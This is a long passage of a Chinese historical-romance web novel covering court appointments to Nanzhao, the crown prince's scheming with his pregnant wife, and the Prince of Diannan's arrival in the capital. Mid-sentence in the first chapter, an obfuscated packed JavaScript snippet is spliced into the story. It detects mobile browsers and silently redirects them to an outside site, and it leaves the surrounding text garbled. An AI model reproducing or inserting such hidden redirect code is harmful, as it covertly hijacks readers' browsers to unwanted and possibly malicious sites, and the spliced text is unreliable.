众人挨了训,一个个灰头土脸,更担心这桩苦差事落到他们的头上来,又纷纷到萧晏辞跟前探听消息,顺便诉苦。 萧晏辞将人打发了。 他也在思考着此事人选。 必须要选出有才干,还真心愿意去南诏府之人。 回到东宫,他依旧在为此事发愁。 陆知苒见此,不由开口询问。 朝堂之上,萧晏辞素来不瞒她,因为她与寻常女子不同,她能给自己不一样的见解。 陆知苒听闻事情始末,不由沉吟起来。 她提起了一人,“方成钰此人如何?” 方成钰,方家庶子。 方家因与萧晏临勾结,事后也被清算了。 但萧晏辞在德丰帝面前为方成钰请了功,是他为陆知苒提供了赵家的罪证,他们才能顺藤摸瓜查到赵家的底细。 是以,方成钰没有被罢官,而是被外放了。 他外放的地方是茨州,这是他主动求的恩典,因他的生母乃茨州人。 茨州地处西南,是个不起眼的小地方,先前各地洪涝,茨州也没能幸免,当地官员因赈灾不利,被罢免了大半,方成钰主动请求外放茨州,其实是往自己身上揽了个烂摊子。 但短短一年多的时间,茨州百姓已然恢复了生息,茨州屡次呈递上的奏折都是好消息。 那些奏折都经了萧晏辞之手,他曾对陆知苒说过,方成钰在外历练上三五年,政绩上有了漂亮的成绩,便能顺理成章地调任回京。 方成钰为自己规划的也是这样一条路子。 整个方家就出了方成钰一个聪明人,也算是歹竹出好笋。 萧晏辞一时没想起他来,经陆知苒一提醒,他的眼睛倏而一亮。 “他倒是个好人选。” 方家所有人的脑子都长在了方成钰一人的头上,他有谋略,有眼光,也有胆识,有能力,有茨州的成功在前,南诏府交给他,定然没问题。 他唯一的不足便是外放的时间太短,经验不足,资历上或许有些压不住。 但这是一桩苦差事,想来也没人会跟他争抢,若当真有人质疑他的资历,萧晏辞为他一力作保,便能压下其他声音。 萧晏辞看着陆知苒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069741|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上露出由衷的笑。 “知苒,你果然每次都能帮我大忙,这次多亏了你的提醒。” 萧晏辞抱着她的脸便狠狠亲了一口,把她的脸都亲变形了。 一屋子的丫鬟都红了脸,陆知苒又嗔又怒,伸手拧了他一把。 “不庄重!” 萧晏辞笑,“我们夫妻俩在自家房里,要什么庄重?” 在自家房里还端着,那有什么意思? 陆知苒现在怀着身孕,可不敢让他再在自己身边磨来蹭去,她赶紧把话题拉到正事上。 “安南都护使之事,你可有合适的人选?” 萧晏辞神色顿了顿,“我有一人选,但不知能否让父皇松口。” 陆知苒闻言,心思一转,很快就猜到了。 “你属意谷将军?” 萧晏辞笑了,“你果然懂我。” 陆知苒也笑了笑,“这并不难猜。谷将军本就出身滇南,也能适应南诏的气候,且他是老将,经验丰富,一直赋闲在京,实在可惜。此事,谷将军自己定然也是愿意的。” 在京城休养了将近三年,谷栖山身体恢复了大半,他迟早要被重新启用。 他是一把未老的宝刀,若因一些捕风捉影之事就将这把宝刀束之高阁,那实在太可惜了。 萧晏辞淡声道:“只是父皇未必会同意。” 他前不久刚在侧妃之事上动了手脚,压了德丰帝一头,眼下这件事,他不能再强势,不然,他与德丰帝之间的君臣平衡会被打破。 而且,此事关涉兵权,与侧妃之事的分量也不一样。 德丰帝在侧妃之事上可以退让,但在兵权之争上,未必愿意放手。 萧晏辞只能向德丰帝提议此事,但没有十足的把握,他也不确定此事是否能成。 陆知苒也沉默了片刻。 她道:“除了谷将军,是否还有其他替补的人选?” 萧晏辞有些头疼地摇头,“大齐重文轻武,真正得力的武将还是太少了。” 陆知苒想了想,“我有一计,或可一试。” 萧晏辞立马眼睛一亮,“说来听听。” 陆知苒将自己的想法道出,萧晏辞认真听罢,一拍手,“就这么办!” 第490章 安南都护使人选 翌日,萧晏辞推举了方成钰担任南诏府知府。 众臣一时都没有反应过来方成钰是何许人也,但对这个姓氏他们多少还有印象,这才回过神来,这是方家人。 立马有人反对,“方家乃罪臣,皇上仁慈没有罢免方成钰的官职也就罢了,怎能一再提拔?” 萧晏辞出声反驳,“英雄不问出处,方家之事,与方成钰无关,皇上都不予追究,你们还紧抓着不放,是在质疑皇上的决定吗?更何况,方成钰此人的确有些本事,在治理地方事务上很有手段。” 萧晏辞命人将方成钰在茨州的政绩整理好了,此时便在众臣面前展示。 看到那些实实在在的政绩,不少人都没话说了。 能在一年内把一盘散沙一样的茨州恢复生息,的确需要一些手段。 但依旧有人反对。 萧晏辞反问,“莫不是诸位大人有更好的人选?还是说你们愿意亲自前往南诏府,为朝廷分忧?” 一句话就把对方堵了回去,瞬间老实了。 德丰帝也对方成钰有印象,一番权衡便点头,答应了此事。 “安南都护使一职,你们可有举荐之人?” 萧晏辞没开口,其他朝臣陆续推荐了几人,但都太过年轻,资历不足,不等德丰帝开口,其他朝臣就驳回了。 有人推举了周卫海。 周卫海在滇南危机时,及时站队,护驾有功,在萧晏临一党被清算之后,他受了提拔,任京营三大营的总兵,是京城重要的防护。 他若调往南诏府,京营三大营就没了掌舵人,京都安全只怕会有疏漏,德丰帝定然是不会同意的。 果然,这个提议被德丰帝驳回了。 众臣一时没了主意。 德丰帝有些恼怒,“偌大的大齐,难道推举不出一个得力之人?” 大齐朝本就重文轻武,上次萧晏临一党被清算时,又拿了不少武将,眼下朝中武将属实有些青黄不接。 这时,萧晏辞终于开了口,“父皇,儿臣以为,不若直接从滇南选一名悍将前往南诏府,滇南府的将士占据了天时、地利、人和,方方面面都最合适不过。”他的这个提议让德丰帝的眉头不禁蹙起,但他一时没开口。 有臣子观其面色,立马提出反对。 “皇上,滇南王已掌四万边军,若再控南诏,则西南半壁尽归其门,恐怕不妥。” 德丰帝紧皱的眉心立马舒展开来,显然这话说到了心坎上。 他故作沉吟,缓缓点头。 “何爱卿所言不无道理。” 萧晏辞还欲再说些什么,最后到底把话咽了回去。 选来选去,也没选出个合适的人来,德丰帝开始有些头疼,面上也露出几分疲态来。 这时,又一老臣站出来,“皇上,微臣以为,镇西将军可担此职。他本就出身滇南,对南诏府的地理和气候都比其他京官熟悉,且他在西平战功卓著,亦能胜任安南都护使一职,而今他在京中任闲差,实在是大材小用了。” 说话之人是兵部侍郎严崇礼,是朝中的老臣,他与谷栖山素日有些交情,今日举荐谷栖山,也算是合情合理。 但朝中人人都是人精,德丰帝对谷栖山显然有所忌惮,所以才会晾着没用。 他们把不准德丰帝的脉,自然不敢贸然提起。 德丰帝一时没说话,一位姓秦的大臣眼珠子一转,立马出声反对,“微臣以为不妥。镇西将军在京中乃是养伤,且他已然离开滇南二十多年,只怕也不一定适应南诏府的气候……” 说他在养伤也没错,谷栖山最近的确在养病,已然告假了一段时日,今日亦没有出现。 有人同意,有人反对,大家又吵作一团。 德丰帝听得越发头脑发胀,他看向萧晏辞,“太子以为如何?” 萧晏辞斟酌着道:“儿臣以为方才秦大人所言亦有几分道理,谷将军病体沉疴,又远离滇南多年,只怕也无法适应南诏府的气候。从滇南府选派一人暂时接管,待朝廷有了合适的人选再前去接替也不迟。” 萧晏辞的话让德丰帝的神色淡了几分。 “此等要职,岂可随意换将?太子,你在此事上思虑有些欠妥了。” 德丰帝的语气带着敲打之意,萧晏辞立马躬身低头,“是儿臣思虑不周,日后还需继续多加磨练。”德丰帝指尖敲击桌面,终于有了决断。 “南诏初附,非宿将无以安边陲,镇西将军忠勇贯日,威震戎夷,可担安南都护使之职。传朕旨意,命镇西将军即日前往南诏府,总揽军民,绥靖蛮荒。” 他直接下达命令,语气不容置疑,众臣闻言,齐声道皇上英明。 萧晏辞亦在其列,他低垂着头,掩去了面上的真正神色。 方才那一番话术,便是他与陆知苒共同商议出来的。 德丰帝忌惮谷栖山拥兵自重,好不容易夺了他在西平的兵权,只怕轻易不会再让他掌兵。 萧晏辞若出面力荐他,德丰帝定然毫不迟疑地驳回了。 所以,萧晏辞剑走偏锋,非但不举荐谷栖山,反而提议从滇南府选人。 德丰帝绝不可能同意此事,若当真从滇南府选人,西南门户就全都落在了滇南王的手里,德丰帝忌惮其拥兵坐大。 萧晏辞一再提议此事,反倒能促成德丰帝重新考虑谷栖山,最终做出决定,答应此事。 但这也有风险,那就是会引起德丰帝对萧晏辞的不满,和微妙的忌惮。 陆知苒提出了这个担忧,萧晏辞思虑一番,还是决定这么做。 皇家父子间的关系总是微妙的。 皇权更迭交替,他们父子君臣之间不可避免会发生冲突与磨合。 萧晏辞对谷栖山的爱才之心,压过了其他。 谷栖山离开西平三年,任宗平和戈叙白如今在西平已然形成分庭抗礼之势,日后,谷栖山再想回去,已然不可能了。 西平已经没了谷栖山的立锥之地,而他的性情,也不适合在京中钻营,他适合做个封疆大吏。 南诏府是最适合他的去处。 若德丰帝指派了旁人去南诏府,日后,萧晏辞登基了,便是有心再用谷栖山,也有些不知该如何安置。 他被困在京城,晚年将黯淡无光,这对他而言是残忍的,对大齐朝也是一大损失。 第491章 恨嫁的丫头 皇上的圣旨送到了将军府,谷栖山跪下领旨,高大魁梧的身形在这一刻竟有些难以稳住,那双锐利的鹰眸中也闪过一抹灼亮的波光。 “微臣领旨谢恩!” 他的声音洪亮,声线隐含颤抖。 老仆张权更是激动得满面红光,他连忙掏出沉甸甸的荷包,塞给了宣旨的太监。 宣旨太监不动声色地将荷包收下,脸上挂着的是灿烂的笑,满嘴都是恭维的话。 送走了宣旨太监,谷栖山和张权关起门来,心中的激动澎湃再难掩饰。 “将军,您终于不用再被困在这京城之中,终于可以回滇南了!” 谷栖山朗声大笑,这两年多以来压在心头的那股郁气,也似终于得到了舒缓与发泄。 谷栖山很快知道了自己能得到这份差事的前因后果。 一切都是萧晏辞从中出力的结果。 谷栖山寻了机会去拜见了萧晏辞,“臣虽一介武夫,却知士为知己者死,殿下不以臣卑鄙,力荐此职,臣谷栖山,永为殿下刃上锋。” 萧晏辞将他扶了起来。 “此职乃父皇亲口任命,孤并未出力。” 谷栖山立马改口,“承蒙皇上信任,微臣定全力以赴,令百蛮归心,永为齐土!” 萧晏辞又道:“听闻谷将军身体抱恙,如今可痊愈了?此去路途遥遥,路上跋涉多有不易,谷将军还是将身子养好了再启程不迟。” 谷栖山忙道:“劳太子挂心,微臣不过是陈年旧疾罢了,已无大碍,不日便可启程。” 他久经沙场,身上的老毛病不少,时不时就要犯一犯,他已经习惯了。 “南诏瘴气横生,谷将军多年不曾回去,只恐难以适应,还请你保重身体。” 谷栖山笑了笑,“那是故土,便是时隔再久,微臣的身心都渴望着回到那片土地上。在京中休养的这段时日,微臣的身体已经大好,太子无需担忧。” 二人又叙了些其他话,这才辞别。 谷栖山对这京城并无留恋,唯一挂怀的,便是宫中那人。 但他知道,那是自己永远不该提,不该问的人。 如今,太子稳坐东宫,她也有人庇护,自己也就放心了。五日后,谷栖山整装出发。 明面上,他们此行只有三十多人。 但实际上,他的上千名亲兵都乔装打扮,一路同行。 当初他从滇南离开,前往西平投军,身边就只带着张权和其他几个随从,他花了几年的时间在西平站稳脚跟,积攒功劳,一步步爬了上去。 现在,他带着比当初多了不知多少倍的人,即将奔赴属于他的第二个战场。 他虽老了,但心志不老,他定能重新再走出一条属于自己的路。 柔贵妃知道了这个消息,她的神色平和地继续调着手中的香,什么都没有说。 他本是雄鹰,便该在高空中翱翔。 京城这一方牢笼,已经困住了她,不该将他也困住。 方成钰也收到了朝廷的调令,他将茨州事务整理好,与新任茨州知府完成了交接,便带着家眷往南诏府而去。 他的夫人对前路充满忧心,方成钰却满怀希望。 南诏府或是地狱,也可能是往上爬的登云梯。 前面三十多年,他每一步都走得很稳,如今,机会摆在了面前,他必须抓住。 十月中,谷栖山抵达南诏府。 方成钰也前后脚赶到,他们一家子都有些无法适应南诏的瘴气,幸得滇南王赠药,才调养好了身子。 方成钰与谷栖山一文一武,迅速接管南诏府上下事务,将人心浮动的南诏府重新稳定下来,一切都有了良好的开局。 奏折传回京城,西南门户安稳,大家都松了口气。 除了给朝廷的奏章,谷栖山还给萧晏辞单独写了一封,信中提及了另一件事。 萧晏辞拿着那封信回了东宫,打算与陆知苒商议一番。 不想,陆知苒手里也拿着一封信,两人面面相觑,都笑了。 萧晏辞道:“让我猜猜,你那封信,定是寒衣写来的吧?” 陆知苒点头,“你那封信是谷将军写的?”萧晏辞也点头。 两个人把两封信摆在一处,他俩说的其实都是同一件事。 滇南王今年要亲自到京城送年礼,谷栖山想请萧晏辞帮忙,让戈叙白今年年底能回京述职,双方找机会见一面。 若戈叙白通过了滇南王的考验,他就收拾收拾,准备娶媳妇了。 若戈叙白没有通过考验,此事便就此作罢。 两个人的亲事已经谈了两年多,中间发生了很多事,便一直耽搁着,没有真正定下。 再者,也是滇南王不舍将孙女远嫁,即便有谷栖山作保,但他们都没有亲眼看到戈叙白,不知其为人秉性如何,始终无法放心。 谷栖山调任南诏府,途经滇南,自然少不得与故人重聚。 自家徒弟的亲事,谷栖山比任何人都操心。 这两年间,戈叙白已经不止一次给他写信,想要推进亲事,但谷栖山一直没找到合适的机会。 直到他亲见了滇南王和世子叶衔峰,才将此事重新提起。 叶寒衣也惦记着这事呢,她给陆知苒写信,便是想请萧晏辞帮忙之意。 萧晏辞看着叶寒衣的信,嗤笑一声,“这丫头这是生怕戈叙白入不了祖父的眼啊,这才巴巴地写信过来让我们帮忙。真是恨嫁。” 陆知苒嗔他一眼,“男婚女嫁再正常不过,寒衣和戈将军两情相悦,平白耽搁这么长时间,便是着急也是人之常情。你身为表兄,理应多从中帮衬一番。” 萧晏辞想了想,“若来的是我舅舅,戈叙白倒是好过关些,我舅舅性子直,没那么多弯弯绕。但来人是我外祖父,戈叙白这关就没那么好过了。” 他这一说,把陆知苒也说得紧张了起来。 她这个外孙媳妇也是第一次见滇南王这个外祖父呢。 若他不喜自己,陆知苒心里也会难受。 “滇南王,他为人很严苛吗?” 萧晏辞看出她的紧张,戏谑地道:“怎么还叫滇南王?这般生分?” 陆知苒顿了顿,这才改口唤了声外祖父。 萧晏辞这才道:“外祖父御下严格,不苟言笑,他手底下的兵无人不敬畏他,舅舅亦是。不过,他只有在用兵的时候严格,对小辈很亲和。” “母妃在的时候最宠母妃,母妃入宫了,他最疼的便是寒衣那丫头。眼下为寒衣择婿,他自然会格外谨慎。加上有我母妃远嫁在前,他应当是不愿让寒衣远嫁的。” 第492章 很看重这一胎 陆知苒听罢,也不由为叶寒衣和戈叙白捏了把汗。 萧晏辞话锋一转,“外祖父固然不想让寒衣远嫁,但如果戈叙白过了他那关,他也不会横加阻拦。外祖父很疼寒衣。” 他又笑,“当然,也很疼我。” 语气中带着一股难掩的骄傲。 陆知苒听了这话,却又莫名紧张起来。 那是萧晏辞的外祖父,是他最重要的长辈之一。 以往的她面对柔贵妃都不会紧张,也不会因自己的二嫁之身感到自惭形秽,因为当时的她,只想扮演好瑾王妃的角色。 如今,她的心境已经发生了变化,她开始真正在意他家人的看法。 萧晏辞握住她的手,语气坚定,“他见了你,定会喜欢。没有人会不喜欢你。” 陆知苒被他这话逗笑了,方才的紧张感一扫而空。 “我又不是银子,哪有那么讨人喜欢。” 他一脸认真,“谁说的?我就不喜欢银子,只喜欢你。” 陆知苒闻言,面颊微微热了起来,心头似被什么东西暖暖的熨帖着,嘴上却笑话他。 “你那是不喜欢银子吗?是银子不喜欢你。” 萧晏辞:…… 秋日的天气最是舒爽,陆知苒的胃口好转,甚至有些过于好了。 她吃饭的那股劲,让萧晏辞想到了当初的萧宝珠。 并非不想让她吃,而是蒋南笙说过,孕妇不宜进补太过,以免胎儿过大,引发难产。 但陆知苒嘴馋,萧晏辞又不忍心不让她吃,最后只能陪着她一块儿吃,并且加快速度,从她的嘴里抢吃的。 如此,她解了馋,又不至于吃太撑。 但这么吃了一个月下来,萧晏辞肉眼可见地胖了,下巴都多了一层肉。 不知道的,还以为萧晏辞才是怀孕的那个呢。 柔贵妃见到除了小腹凸起,其他地方依旧纤细的陆知苒,再看到脸胖了一圈的萧晏辞,险些怀疑陆知苒被苛待了。 萧晏辞:……承受了太多。 滇南王自请入京述职的奏折送到了京城,德丰帝批复了。 西平那边,头两年任宗平奉命接管军务,西平内部局势尚不稳定,是以两年都没人入京述职。今年西平内部权利更迭和磨合基本成型,戈叙白这才上折入京述职。 任宗平是德丰帝派去西平的心腹,如今三年过去,德丰帝定然想亲口听听任宗平说说西平军如今的局势。 萧晏辞将西平的奏折批复了,没有上禀德丰帝。 如今他主理朝政,大部分政务都是他处理,只有特别重要的事情需要上禀德丰帝。 西平将领入京述职这样的事情,说大不大,说小不小,他便是没有上禀,德丰帝也没有理由兴师动众地责问。 此事关涉着叶寒衣与戈叙白的姻缘,他自然要帮一把。 但他能帮的也只有这么多了,戈叙白能否过了外祖父那一关,就看他自己了。 转眼到了十一月,天气开始慢慢变冷了。 陆知苒怀孕之后体热,反倒没有之前那般畏寒了。 她已经怀孕六个多月,肚子高高隆起,整个人都透着股雍容华贵的气质。 柔贵妃不便出宫,她便偶尔入宫,向柔贵妃请安。 每次她入宫,德丰帝也会到夕颜殿坐坐,看看她的怀相。 毕竟是萧晏辞的第一个孩子,德丰帝十分看重。 陆知苒每次见到德丰帝,都觉得他较之以往苍老了许多,他的背脊越发佝偻,身形也越发单薄。 殿内烧着地龙,陆知苒和柔贵妃都穿得轻薄,德丰帝却依旧穿着厚厚的袄子,他只略坐了一会儿,眼皮便有些发沉,柔贵妃与他说话,他也半晌才回过神来,反应变得十分迟钝。 陆知苒和柔贵妃互相对视一眼,彼此眼里都透着担忧。 德丰帝的身子已临近油尽灯枯,这个寒冬,他是否能熬得过去? 陆知苒向蒋南笙打探德丰帝的身子情况,蒋南笙没有直言,只道:“皇上很看重你这一胎。” 陆知苒心头微微一跳,心中立马便有了猜测。 德丰帝的时日已然不多了,但他没有亲眼看到自己诞下皇孙,便强撑着不肯闭眼。 陆知苒摸着自己的肚子,心中不禁升起一股沉甸甸的压力。 自己若是生了个公主,皇上是否会含恨而终? 陆知苒看着蒋南笙,第一次问出了那个问题。 “南笙,你能诊出我腹中是男是女吗?” 蒋南笙轻轻握了握她的手,眼神温和坚定,“孩子生下来之前,一切预判,都可能有误。最好的法子是什么都不用想,静待瓜熟蒂落。”蒋南笙没有给她答案,但她温和坚定的态度却给了陆知苒无限的力量和底气。 她抛开了杂念,不再多想。 孩子已经揣在了肚子里,是男是女早已成定局,既然已经无法改变,那现在纠结也无意义,一切交给天意吧。 年前的半月,陆知苒收到了邢初雪的来信。 看罢,她不禁笑了。 “初雪也怀上了,现在已经有了三个多月身孕。” 萧宝珠和蒋南笙都为她高兴。 萧晏珩的身体羸弱,子嗣方面自然比旁人要艰难些,邢初雪受过伤,身子也需要调养恢复。 而今两人终于有了好消息,这自然是喜事一桩。 萧宝珠盯着陆知苒圆滚滚的肚子,又开始眼馋起来了。 她也好想生个孩子。 但孙牧之在这方面十分轴,严防死守,根本不给她机会。 萧宝珠伸手,轻轻地抚在陆知苒的肚子上。 她一摸上去,就感觉手底下的肚皮被轻轻踹了一下,踹出一个小鼓包,她惊奇地一下缩回了手。 “他,他踢我了。” 陆知苒笑道:“看来他喜欢你这个姑姑。” 萧宝珠又把手摸上去,小家伙又很给面子地踹了一下。 萧宝珠便在陆知苒的肚皮上东摸摸,西摸摸,摸得不亦乐乎。 “真好玩儿,我也要生个孩子来玩玩。” 听了她这话,蒋南笙摇头失笑。 “你自己都还是个孩子呢,等你长大了再说吧。” 萧宝珠嚷嚷,“翻年我就又长一岁了,我已经是个成熟的大人了!” 陆知苒和蒋南笙都失笑。 只有没长大的孩子,才会一遍遍地把自己长大了的话挂在嘴边。 而这也说明萧宝珠的日子过得肆意快活,所以才能一直像孩子一样简单。 第493章 滇南王入京 十二月,各地述职官员陆续回京。 安王萧晏珩因王妃有孕,没有归京,其余皇子都回来了。 以往,诸皇子也只是三五年才回来一次,最近几年频繁回京,也是因为德丰帝身体不好,想多见见儿孙们,不知道明年是否还能见到。 滇南王也抵达了京城。 萧晏辞早早派人在城外三十里地等着,得了信第一时间往城外迎。 今日天上飘着小雪,冷风簌簌,一队黑甲铁骑踏尘而来,为首老者未着王袍,只披一件狼皮大氅,肩头金线绣的蝎尾图腾十分醒目。 他身形不算魁梧,却像一柄插在马背上的玄铁断刀——旧了,钝了,可刃口仍能割喉。 他的身后,紧跟着另一道身着红衣的飒爽身姿。 是叶寒衣。 这小丫头也来了。 啧,真是恨嫁。 不过,知苒见了她,定然高兴。 到了近前,滇南王率众下马行礼。 “微臣见过太子殿下。” 萧晏辞快步上前,一把伸手将滇南王扶了起来。 “外祖父,眼下没有外人,不必讲究这些虚礼。” 滇南王站起身来,即便老了,他的背脊依旧挺拔宽阔。 他不苟言笑的脸上露出了一抹淡淡的笑意,“君臣之礼不可废。” “外祖父,一路行来辛苦了,路上可有遇到什么波折?” “一路都很顺利。” 简单叙了话,一行人便再次上马往城内赶去。 萧晏辞本欲请滇南王和叶寒衣到东宫住下,但滇南王坚持住到驿站。 “入住东宫多有不便。” 萧晏辞知外祖父大有避嫌之意,便不再强求。 叶寒衣连忙道:“祖父,我想去拜见姑母。” 滇南王面上也现出几分浮动,这一刻,对女儿的思念不经意地流露了出来。奈何他不便入宫,顶多能在宫宴上,远远地与女儿见上一面。 滇南王看向萧晏辞,眼神中带着征求之意。 萧晏辞自然立马点头答应。 “母妃一直在等着你们入京,若见了寒衣,她定然高兴。” 滇南王对叶寒衣道:“那便去吧,进了宫里,不可给你姑母添麻烦。” 叶寒衣脸上绽出灿烂的笑,“我可听话了。祖父,你可有什么话要带给姑母?” “她如今好好的便好,我没什么话要交代的。” 目送二人离开,滇南王的眼底浮起一抹淡淡的温柔慈爱。 叶寒衣没有立马入宫,而是先去了东宫。 陆知苒挺着个大肚子出来相迎,叶寒衣慌忙快走几步上前,赶紧把人扶住了。 “你现在是双身子的人,可得小心着,这地上雪滑着。” 陆知苒见到故友,脸上的笑意灿烂,“霜华扶着,摔不着的。” 霜华力气大,反应快,现在她成了陆知苒的影子,半步不离地跟着她。 二人进了屋,关起门来说话。 陆知苒道:“你上回给我写信,我还以为这趟你来不了呢。” 叶寒衣挠了挠脸,“原本家里人的确不让我来,是我求了祖父,说我想姑母了,这才得了同意。” 是叶寒衣的母亲霍氏不同意她抛头露面。 若她与戈叙白的亲事能成,她就该老老实实地待在家中待嫁,不能再像以前那样,似男孩子一般。 奈何叶寒衣在滇南王跟前受宠,滇南王点了头,霍氏也没法子,只得放她来了京城。 只是临行前揪着她的耳朵耳提面命,给她立了不少规矩。 陆知苒满脸打趣地看着她,“我看你这样子,想见的怕是另有其人吧?” 叶寒衣的脸皮大不如前,被她这么一番笑话,竟开始脸红起来了。 这三年,她和戈叙白虽然没能见面,但书信往来不断。 许是突然开了窍,或是有军师指点,戈叙白在这方面十分上道,除了给叶寒衣去信,还会给滇南府上下的长辈都捎带西平特产,东西不贵重,但却花了心思。 此前,滇南府遭遇洪涝,而后又背上谋逆罪名,受南越国夹击,腹背受敌。 戈叙白远在西平,得知此事,明面上,他什么都不能做,但暗地里,他派出自己的心腹亲卫队,秘密前往滇南。他给他们下达了一个任务,那就是保护叶寒衣。 他能做的有限,也没有能力改变时局,他只能想法子保全自己最在乎的人。 事后,滇南府转危为安,他的心腹也没在滇南久留,又匆匆赶回了西平,不然,此事一旦败露,戈叙白就要受到牵连。 经此一事,滇南府上下对戈叙白都有了改观。 但当时滇南府上下忙着战后修复,一时半会儿也腾不出时间来操办二人的亲事。 一来二去,便拖延至今。 双方在京城会面,是戈叙白主动提出来的。 他猜到了叶家人对他的种种顾虑,既然如此,索性见一面,他愿意接受滇南王府所有人的任何考验。 他这番有担当,敢决断的表现,不禁让滇南王高看了三分。 萧宝珠得了消息,也第一时间来了。 小姐妹终于见面,抱在一起又蹦又跳,笑声传得老远。 柔贵妃得了消息,早就伸长了脖子等。 左等右等都不见来,心中不免焦急。 锦瑟也急,但她还得出言安抚柔贵妃。 “娘娘,今日王爷和小姐才刚到京城,眼下定是要先好好歇一歇,最早也得明日才能入宫觐见。” 柔贵妃心中失落,“是我心急了。” 她缓缓坐了回去,再没了专心调香的心情。 就在这时,宫人喜气洋洋地来通传。 “娘娘,叶小姐来了。” 柔贵妃一下就站了起来,脸上迸出一抹惊喜。 她快步迎了出去,叶寒衣也同时奔了进来,十分没规矩,直接抱了柔贵妃个满怀。 “姑母,我好想你啊。” 柔贵妃的眼泪一下就下来了,心中的高兴满得几乎溢了出来。 “姑母也想你!” 锦瑟从旁看着也高兴,她笑着插话,“娘娘得了信,早就在等您了呢,方才以为您今日不来,失望得瞬间没了笑。好在终于是把您盼来了。” 叶寒衣顿时有些歉疚,“都怪我,我先去看了知苒,耽搁了些时间,我该第一时间来寻姑母的。” 第494章 雪中送炭最难得 柔贵妃这会儿高兴都来不及,岂会苛责这些。 她上下打量叶寒衣,又急忙把人拉着坐了下来。 “这一路可顺利?你爹娘身体可好?祖父祖母可还健朗?” 叶寒衣一一认真回答,“我爹上次受了些伤,养了一段时间,现在已经大好了。我娘也很好,就是喜欢唠叨,我爹养伤的那段时间,耳朵都快被我娘唠叨出茧子来了。” “祖父身体素来健朗,这一趟赶路,他跑得比谁都快。他嘴上不说,但我知道,他是急着想见姑姑你呢。祖母也很想你,但她没有出过远门,不便出远门,所以没法同行。” 柔贵妃听着她的这番话,眼眶不由得一阵发热,心底也涌起一股汹涌的情绪。 她偏过头去,悄悄抹掉了自己眼角那抹泪意。 “我也很想他们,做梦都在想。” 叶寒衣看着柔贵妃,眼底生出一股心酸与怅然。 “我今日入宫,祖父嘴上不说,但实际上可羡慕了,他也很想入宫见你,但于理不合。” 柔贵妃想到自己幼时坐在父亲肩头嬉戏玩闹的画面,素来不苟言笑的父亲,在自己面前从来都是温柔慈爱的。 他是一个很好的父亲。 他做过的唯一违背自己意愿的事,便是送她入宫。 当初柔贵妃也曾怨过他,但时过境迁,柔贵妃慢慢明白了父亲的权衡与无奈,那是在皇权之下不得不做出的妥协与让步。 柔贵妃压下心头思绪,“我明日便向皇上求一个恩典,允父亲入宫觐见,皇上定会答应。” 德丰帝此前误会了滇南府,此时便是为了表示恩典,也定会同意此事。 柔贵妃有九成把握。 叶寒衣闻言,心中也生出高兴来。 柔贵妃又问起陆知苒的情况,叶寒衣如实道:“她的气色看起来很好,只是近日下雪,地面湿滑,她不便入宫向您请安。” “我明白,眼下养胎最为要紧。” 柔贵妃不是那等恶婆婆,非要怀孕的儿媳妇在自己跟前立规矩。 柔贵妃又问起戈叙白。 此事她已经从陆知苒的口中听说,也知道这次父亲入京述职,有一部分原因是冲着戈叙白来的。 叶寒衣要嫁给这人,柔贵妃自然就要多几分上心。 叶寒衣悄悄地把戈叙白派亲兵前往滇南府保护她之事道来。“当时那样的风向,人人都想明哲保身,离滇南府远一点,他却愿意派人来护我周全,我觉得他这个人可靠。” 如果说,一开始叶寒衣对戈叙白只是见色起意,后来两人的书信往来,她也只是若有似无的春心萌动,但经此一事,叶寒衣对他的感觉就变了,对即将到来的“相看”,莫名生出几分紧张来。 她担心戈叙白受到祖父刁难。 柔贵妃听了这番内情,对戈叙白也生出几分好感。 “雪中送炭最是难得,他的确有几分担当。” 叶寒衣又道:“他是谷将军唯一的徒弟,得谷将军亲自教导,为人品性自是不差的。” 柔贵妃听到那个名字,眼底浮出几分笑意。 “他教出来的徒弟,的确不会差。” 叶寒衣悄悄打量她的神色,一副想问又不敢问的模样。 柔贵妃伸手戳了她一把。 “小鬼头,收起你那些乱七八糟的好奇心,不该打听的事别瞎打听。” 叶寒衣摸着额头,嘿嘿地笑。 “我可什么都没打听。” 柔贵妃睨她,“你那点小心思,我一眼就能看穿。” 叶寒衣吐吐舌头。 柔贵妃正色,“那戈叙白人品可靠,这自然是好事。但他远在西平,要想调动只怕不易。你若当真与他成了,日后就要长住西平,西平与滇南距离遥遥,你当真想好了?” 叶寒衣早就想过此事,“西平和滇南再远,我想回去随时都能走。而且,我也想去滇南以外的地方看看。” 柔贵妃神色一怔,眼底浮起一抹复杂。 “是啊,你与我不一样,你是自由的。” 不像她,被困在这深宫里,身不由己。 叶寒衣看到柔贵妃眼底的黯然,顿时有些无措。 自己方才好像说错话了。 柔贵妃笑了笑,很快岔开了话题,叶寒衣便没有再多说。 姑侄二人聚在一处,有说不完的话,夕颜殿内一时欢声笑语不断。 叶寒衣留宿在了夕颜殿。德丰帝来夕颜殿用膳,叶寒衣赶忙行礼。 德丰帝笑得很慈祥,“几年不见,小丫头长高了些。” 叶寒衣瞧见德丰帝的状态,心里暗暗心惊。 他好似老了十岁不止,看上去比祖父还要老,面上更是笼着一股沉沉死气。 他只怕时日不多了。 心中诸多思绪,面上叶寒衣半分不露。 德丰帝又问起了滇南王,叶寒衣认真回答,“劳皇上挂心,祖父身体健朗,只是……” 她话说了一半,露出些许迟疑。 德丰帝问,“怎么了?有什么话尽管直说,在朕面前不必藏着掖着。” 叶寒衣看了一眼柔贵妃,神色有些惆怅。 “祖父很想念姑母,昨日我入宫时,他可眼馋了,但礼数如此,他便是再想念也不能逾矩。” 柔贵妃眼底也露出几分黯然。 德丰帝心中动容。 “爱妃入宫已有二十多年了吧?” 柔贵妃轻声道:“回皇上,迄今已有二十五年了。” 德丰帝轻叹,“你们父女也已有二十五年未见了,让你们父女分离这般久,实是朕之过错。” 柔贵妃连忙请罪,叶寒衣也跟着起身。 “皇上……” 德丰帝摆手,打断了她的话。 